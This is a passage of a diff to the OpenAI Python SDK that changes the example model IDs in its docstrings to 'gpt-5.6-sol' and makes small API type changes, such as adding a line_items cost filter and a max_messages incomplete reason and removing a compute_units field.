@@ -1420,6 +1429,7 @@ async def costs(
"end_time": end_time,
"group_by": group_by,
"limit": limit,
+ "line_items": line_items,
"page": page,
"project_ids": project_ids,
},
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index c9d1120fcc..8d880f1c1b 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -330,9 +330,9 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -382,9 +382,7 @@ def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -733,9 +731,9 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -785,9 +783,7 @@ def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -1129,9 +1125,9 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -1181,9 +1177,7 @@ def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -1917,9 +1911,9 @@ def compact(
[Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
Args:
- model: Model ID used to generate the response, like `gpt-5` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -2285,9 +2279,9 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -2337,9 +2331,7 @@ async def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -2688,9 +2680,9 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -2740,9 +2732,7 @@ async def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -3084,9 +3074,9 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -3136,9 +3126,7 @@ async def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -3872,9 +3860,9 @@ async def compact(
[Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
Args:
- model: Model ID used to generate the response, like `gpt-5` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
diff --git a/src/openai/resources/chat/completions/completions.py b/src/openai/resources/chat/completions/completions.py
index a2e36b6ad2..ec1308ff81 100644
--- a/src/openai/resources/chat/completions/completions.py
+++ b/src/openai/resources/chat/completions/completions.py
@@ -326,9 +326,9 @@ def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ offers a wide range of models with different capabilities, performance
+ characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -658,9 +658,9 @@ def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ offers a wide range of models with different capabilities, performance
+ characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -990,9 +990,9 @@ def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ offers a wide range of models with different capabilities, performance
+ characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -1937,9 +1937,9 @@ async def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ offers a wide range of models with different capabilities, performance
+ characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -2269,9 +2269,9 @@ async def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ offers a wide range of models with different capabilities, performance
+ characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -2601,9 +2601,9 @@ async def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ offers a wide range of models with different capabilities, performance
+ characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 2232b1a05d..487e82dc37 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -247,9 +247,9 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -297,9 +297,7 @@ def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -539,9 +537,9 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -589,9 +587,7 @@ def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -824,9 +820,9 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -874,9 +870,7 @@ def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -1860,9 +1854,9 @@ def compact(
[Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
Args:
- model: Model ID used to generate the response, like `gpt-5` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -2115,9 +2109,9 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -2165,9 +2159,7 @@ async def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -2407,9 +2399,9 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -2457,9 +2449,7 @@ async def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -2692,9 +2682,9 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
@@ -2742,9 +2732,7 @@ async def create(
- Organizations with ZDR enabled default to `in_memory` when
`prompt_cache_retention` is not specified.
- reasoning: **gpt-5 and o-series models only**
-
- Configuration options for
+ reasoning: Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
@@ -3727,9 +3715,9 @@ async def compact(
[Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
Args:
- model: Model ID used to generate the response, like `gpt-5` or `o3`. OpenAI offers a
- wide range of models with different capabilities, performance characteristics,
- and price points. Refer to the
+ model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ range of models with different capabilities, performance characteristics, and
+ price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
available models.
diff --git a/src/openai/types/admin/organization/usage_costs_params.py b/src/openai/types/admin/organization/usage_costs_params.py
index 4780058953..b4fa5e8da7 100644
--- a/src/openai/types/admin/organization/usage_costs_params.py
+++ b/src/openai/types/admin/organization/usage_costs_params.py
@@ -39,6 +39,13 @@ class UsageCostsParams(TypedDict, total=False):
Limit can range between 1 and 180, and the default is 7.
"""
+ line_items: SequenceNotStr[str]
+ """Return only costs for these exact line item names.
+
+ Each value must match the complete `line_item` value, for example
+ `gpt-5.6-sol, input_tokens`.
+ """
+
page: str
"""A cursor for use in pagination.
diff --git a/src/openai/types/batch.py b/src/openai/types/batch.py
index 82db362c6f..e4b75c0361 100644
--- a/src/openai/types/batch.py
+++ b/src/openai/types/batch.py
@@ -82,7 +82,7 @@ class Batch(BaseModel):
"""
model: Optional[str] = None
- """Model ID used to process the batch, like `gpt-5-2025-08-07`.
+ """Model ID used to process the batch, like `gpt-5.6-sol`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index 23740ab292..086cecf33d 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -44,7 +44,7 @@
class IncompleteDetails(BaseModel):
"""Details about why the response is incomplete."""
- reason: Optional[Literal["max_output_tokens", "content_filter"]] = None
+ reason: Optional[Literal["max_output_tokens", "max_messages", "content_filter"]] = None
"""The reason why the response is incomplete."""
@@ -194,8 +194,7 @@ class PromptCacheOptions(BaseModel):
class Reasoning(BaseModel):
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
@@ -384,7 +383,7 @@ class BetaResponse(BaseModel):
],
str,
]
- """Model ID used to generate the response, like `gpt-4o` or `o3`.
+ """Model ID used to generate the response, like `gpt-5.6-sol`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -543,8 +542,7 @@ class BetaResponse(BaseModel):
"""
reasoning: Optional[Reasoning] = None
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
diff --git a/src/openai/types/beta/beta_response_usage.py b/src/openai/types/beta/beta_response_usage.py
index f86c1839cf..b96bde525d 100644
--- a/src/openai/types/beta/beta_response_usage.py
+++ b/src/openai/types/beta/beta_response_usage.py
@@ -1,7 +1,5 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import Optional
-
from ..._models import BaseModel
__all__ = ["BetaResponseUsage", "InputTokensDetails", "OutputTokensDetails"]
@@ -47,6 +45,3 @@ class BetaResponseUsage(BaseModel):
total_tokens: int
"""The total number of tokens used."""
-
- compute_units: Optional[int] = None
- """Compute units for the request. Currently null when available."""
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index dd1dc326b0..6e755dd439 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -128,8 +128,7 @@ class ResponseCreatePromptCacheOptions(BaseModel):
class ResponseCreateReasoning(BaseModel):
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
@@ -420,7 +419,7 @@ class ResponseCreate(BaseModel):
str,
None,
] = None
- """Model ID used to generate the response, like `gpt-4o` or `o3`.
+ """Model ID used to generate the response, like `gpt-5.6-sol`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -493,8 +492,7 @@ class ResponseCreate(BaseModel):
"""
reasoning: Optional[ResponseCreateReasoning] = None
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index fc57110dc5..7579920642 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -128,8 +128,7 @@ class ResponseCreatePromptCacheOptions(TypedDict, total=False):
class ResponseCreateReasoning(TypedDict, total=False):
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
@@ -419,7 +418,7 @@ class ResponseCreate(TypedDict, total=False):
],
str,
]
- """Model ID used to generate the response, like `gpt-4o` or `o3`.
+ """Model ID used to generate the response, like `gpt-5.6-sol`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -492,8 +491,7 @@ class ResponseCreate(TypedDict, total=False):
"""
reasoning: Optional[ResponseCreateReasoning]
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index 272147032f..cb9ddce96e 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -122,7 +122,7 @@ class ResponseCompactParams(TypedDict, total=False):
None,
]
]
- """Model ID used to generate the response, like `gpt-5` or `o3`.
+ """Model ID used to generate the response, like `gpt-5.6-sol`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index 6fd253d5d2..ebcbeb116b 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -233,7 +233,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
],
str,
]
- """Model ID used to generate the response, like `gpt-4o` or `o3`.
+ """Model ID used to generate the response, like `gpt-5.6-sol`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -306,8 +306,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"""
reasoning: Optional[Reasoning]
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
@@ -528,8 +527,7 @@ class PromptCacheOptions(TypedDict, total=False):
class Reasoning(TypedDict, total=False):
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
diff --git a/src/openai/types/chat/completion_create_params.py b/src/openai/types/chat/completion_create_params.py
index 82e28f9dfb..69379d34a5 100644
--- a/src/openai/types/chat/completion_create_params.py
+++ b/src/openai/types/chat/completion_create_params.py
@@ -51,7 +51,7 @@ class CompletionCreateParamsBase(TypedDict, total=False):
"""
model: Required[Union[str, ChatModel]]
- """Model ID used to generate the response, like `gpt-4o` or `o3`.
+ """Model ID used to generate the response, like `gpt-5.6-sol` or `o3`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/completion_usage.py b/src/openai/types/completion_usage.py
index c69cc90cfb..73bd2bccaa 100644
--- a/src/openai/types/completion_usage.py
+++ b/src/openai/types/completion_usage.py
@@ -68,8 +68,5 @@ class CompletionUsage(BaseModel):
completion_tokens_details: Optional[CompletionTokensDetails] = None
"""Breakdown of tokens used in a completion."""
- compute_units: Optional[int] = None
- """Compute units for the request. Currently null when available."""
-
prompt_tokens_details: Optional[PromptTokensDetails] = None
"""Breakdown of tokens used in the prompt."""
diff --git a/src/openai/types/eval_create_response.py b/src/openai/types/eval_create_response.py
index 93f7df95a2..16fd35d290 100644
--- a/src/openai/types/eval_create_response.py
+++ b/src/openai/types/eval_create_response.py
@@ -98,7 +98,7 @@ class EvalCreateResponse(BaseModel):
Like:
- Improve the quality of my chatbot
- See how well my chatbot handles customer support
- - Check if o4-mini is better at my usecase than gpt-4o
+ - Check if o4-mini is better at my usecase than gpt-5.6-sol
"""
id: str
diff --git a/src/openai/types/eval_list_response.py b/src/openai/types/eval_list_response.py
index 58cece5672..88650d3479 100644
--- a/src/openai/types/eval_list_response.py
+++ b/src/openai/types/eval_list_response.py
@@ -98,7 +98,7 @@ class EvalListResponse(BaseModel):
Like:
- Improve the quality of my chatbot
- See how well my chatbot handles customer support
- - Check if o4-mini is better at my usecase than gpt-4o
+ - Check if o4-mini is better at my usecase than gpt-5.6-sol
"""
id: str
diff --git a/src/openai/types/eval_retrieve_response.py b/src/openai/types/eval_retrieve_response.py
index b0f22e9cd6..81c0a02cac 100644
--- a/src/openai/types/eval_retrieve_response.py
+++ b/src/openai/types/eval_retrieve_response.py
@@ -98,7 +98,7 @@ class EvalRetrieveResponse(BaseModel):
Like:
- Improve the quality of my chatbot
- See how well my chatbot handles customer support
- - Check if o4-mini is better at my usecase than gpt-4o
+ - Check if o4-mini is better at my usecase than gpt-5.6-sol
"""
id: str
diff --git a/src/openai/types/eval_update_response.py b/src/openai/types/eval_update_response.py
index 817f278405..c1a8440846 100644
--- a/src/openai/types/eval_update_response.py
+++ b/src/openai/types/eval_update_response.py
@@ -98,7 +98,7 @@ class EvalUpdateResponse(BaseModel):
Like:
- Improve the quality of my chatbot
- See how well my chatbot handles customer support
- - Check if o4-mini is better at my usecase than gpt-4o
+ - Check if o4-mini is better at my usecase than gpt-5.6-sol
"""
id: str
diff --git a/src/openai/types/evals/create_eval_completions_run_data_source.py b/src/openai/types/evals/create_eval_completions_run_data_source.py
index 1ce6faa375..15813f9412 100644
--- a/src/openai/types/evals/create_eval_completions_run_data_source.py
+++ b/src/openai/types/evals/create_eval_completions_run_data_source.py
@@ -84,7 +84,7 @@ class SourceStoredCompletions(BaseModel):
"""
model: Optional[str] = None
- """An optional model to filter by (e.g., 'gpt-4o')."""
+ """An optional model to filter by (e.g., 'gpt-5.6-sol')."""
Source: TypeAlias = Annotated[
diff --git a/src/openai/types/evals/create_eval_completions_run_data_source_param.py b/src/openai/types/evals/create_eval_completions_run_data_source_param.py
index 480962283c..d228f6d42d 100644
--- a/src/openai/types/evals/create_eval_completions_run_data_source_param.py
+++ b/src/openai/types/evals/create_eval_completions_run_data_source_param.py
@@ -84,7 +84,7 @@ class SourceStoredCompletions(TypedDict, total=False):
"""
model: Optional[str]
- """An optional model to filter by (e.g., 'gpt-4o')."""
+ """An optional model to filter by (e.g., 'gpt-5.6-sol')."""
Source: TypeAlias = Union[SourceFileContent, SourceFileID, SourceStoredCompletions]
diff --git a/src/openai/types/responses/response.py b/src/openai/types/responses/response.py
index b03f9b133d..eaf16cfec5 100644
--- a/src/openai/types/responses/response.py
+++ b/src/openai/types/responses/response.py
@@ -46,7 +46,7 @@
class IncompleteDetails(BaseModel):
"""Details about why the response is incomplete."""
- reason: Optional[Literal["max_output_tokens", "content_filter"]] = None
+ reason: Optional[Literal["max_output_tokens", "max_messages", "content_filter"]] = None
"""The reason why the response is incomplete."""
@@ -227,7 +227,7 @@ class Response(BaseModel):
"""
model: ResponsesModel
- """Model ID used to generate the response, like `gpt-4o` or `o3`.
+ """Model ID used to generate the response, like `gpt-5.6-sol`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -386,8 +386,7 @@ class Response(BaseModel):
"""
reasoning: Optional[Reasoning] = None
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index afd51fc0f6..b9b5e80704 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -121,7 +121,7 @@ class ResponseCompactParams(TypedDict, total=False):
None,
]
]
- """Model ID used to generate the response, like `gpt-5` or `o3`.
+ """Model ID used to generate the response, like `gpt-5.6-sol`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/responses/response_create_params.py b/src/openai/types/responses/response_create_params.py
index b3ae9b0453..55d7fa7474 100644
--- a/src/openai/types/responses/response_create_params.py
+++ b/src/openai/types/responses/response_create_params.py
@@ -127,7 +127,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"""
model: ResponsesModel
- """Model ID used to generate the response, like `gpt-4o` or `o3`.
+ """Model ID used to generate the response, like `gpt-5.6-sol`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -197,8 +197,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"""
reasoning: Optional[Reasoning]
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
diff --git a/src/openai/types/responses/response_usage.py b/src/openai/types/responses/response_usage.py
index 9ebaaeafaa..355dd5d735 100644
--- a/src/openai/types/responses/response_usage.py
+++ b/src/openai/types/responses/response_usage.py
@@ -1,7 +1,5 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import Optional
-
from ..._models import BaseModel
__all__ = ["ResponseUsage", "InputTokensDetails", "OutputTokensDetails"]
@@ -47,6 +45,3 @@ class ResponseUsage(BaseModel):
total_tokens: int
"""The total number of tokens used."""
-
- compute_units: Optional[int] = None
- """Compute units for the request. Currently null when available."""
diff --git a/src/openai/types/responses/responses_client_event.py b/src/openai/types/responses/responses_client_event.py
index ad434f15c2..3a41651326 100644
--- a/src/openai/types/responses/responses_client_event.py
+++ b/src/openai/types/responses/responses_client_event.py
@@ -230,7 +230,7 @@ class ResponsesClientEvent(BaseModel):
"""
model: Optional[ResponsesModel] = None
- """Model ID used to generate the response, like `gpt-4o` or `o3`.
+ """Model ID used to generate the response, like `gpt-5.6-sol`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -300,8 +300,7 @@ class ResponsesClientEvent(BaseModel):
"""
reasoning: Optional[Reasoning] = None
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
[reasoning models](https://platform.openai.com/docs/guides/reasoning).
"""
diff --git a/src/openai/types/responses/responses_client_event_param.py b/src/openai/types/responses/responses_client_event_param.py
index ba7ed6fa09..14a3ce8eff 100644
--- a/src/openai/types/responses/responses_client_event_param.py
+++ b/src/openai/types/responses/responses_client_event_param.py
@@ -231,7 +231,7 @@ class ResponsesClientEventParam(TypedDict, total=False):
"""
model: ResponsesModel
- """Model ID used to generate the response, like `gpt-4o` or `o3`.
+ """Model ID used to generate the response, like `gpt-5.6-sol`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -301,8 +301,7 @@ class ResponsesClientEventParam(TypedDict, total=False):
"""
reasoning: Optional[Reasoning]
- """**gpt-5 and o-series models only**
-
+ """
Configuration options for
